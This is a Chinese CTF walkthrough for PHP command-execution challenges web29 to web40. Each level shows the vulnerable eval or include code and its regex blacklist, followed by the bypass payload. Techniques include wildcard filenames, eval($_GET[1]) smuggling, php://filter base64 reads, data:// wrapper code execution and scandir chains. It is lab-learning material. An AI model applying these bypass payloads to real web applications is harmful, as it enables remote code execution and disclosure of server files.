web29
1 2 3 4 5 6 7 8 9 10 11
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
preg_match函数是进行正则表达式的匹配,成功返回1,否则返回0。
在这个正则里边有一个参数是i,这个在正则表达式里边是不区分大小写的一个参数
查看目录
方法一
获取flag.php ,关键字flag过滤,使用通配符?
1
| ?c=system("cat fla?.php");
|
ctrl+u查看源码
方法二
cp命令将flag.php保存到1.txt 再去访问1.txt
1
| ?c=system("cp fla?.php 1.txt");
|
接着在url后输入1.txt就可以看到flag了
web30
1 2 3 4 5 6 7 8 9 10
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
存源代码中我们可以看出这次过滤了flag,system,php
所以这里我们可以用’’来代替system(),这里的`是tab上面的反斜号
在url后输入1.txt查看获得flag
web31
从源代码可以看出,这题还过滤了cat和空格
1 2 3 4 5 6 7 8 9 10
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
我们可以用eval( )来操作, 这个1已经不属于c的内容了,所以不受过滤管控了,
得到空白页面右击看源码才能得到flag
1
| ?c=eval($_GET[1]);&1=system('cat flag.php');
|
将cat 换成 tac 就可以直接看到flag,(tac 是 cat 的反向显示),cat也可以直接看到
1
| ?c=eval($_GET[1]);&1=system('tac flag.php');
|
web32
1 2 3 4 5 6 7 8 9 10
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
根据源代码可知,反引号,分号,括号都不能用
没有括号就不能使用上一题的eval(),所以要用没有括号的函数,比如include
分号可以用?>代替
还需要配合使用伪协议,通过特定的通道读取文件
1
| ?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
|
这里我们获得了一个base64的数据
base64解码
获得flag!
web33
1 2 3 4 5 6 7 8 9 10
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
多过滤了一个”
使用上一题的方法一样可以做出来
1
| ?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
|
同样的base64加密,解码获得flag
web34
1 2 3 4 5 6 7 8 9 10
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
多过滤了一个冒号,也不影响我们使用上面的方法
1
| ?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
|
web35
代码懒得帖了
ps:此处多过滤了<=,与上题题解一样
web36
代码懒得贴了,和前几题类似
ps:此处过滤了数字
web37
1 2 3 4 5 6 7 8 9 10 11 12
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
|
通过data://text/plain协议来进行漏洞利用
1
| ?c=data://text/plain,<?php system("cat fla?.php");?>
|
ctrl+u以获得flag!
web38
1 2 3 4 5 6 7 8 9 10 11 12
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
|
比上一题多过滤了php,file
使用上一题的方法就行,需要把php换成= 即=内容?>
1
| /?c=data://text/plains,<?= system("cat fla?.ph?");?>
|
web39
1 2 3 4 5 6 7 8 9 10
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
|
加了个后缀.php,但还是不影响用data协议
1
| /?c=data://text/plains,<?php system("cat fla?.php");?>
|
或
1
| /?c=data://text/plains,<?=system("cat fla?.php");?>
|
只是后面多了个.php

web40
1 2 3 4 5 6 7 8 9 10
| if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
在url中输入
1
| /?c=show_source(next(array_reverse(scandir(getcwd()))));
|
得到flag
emmm~并不知道这是什么原理,后续跟进🥹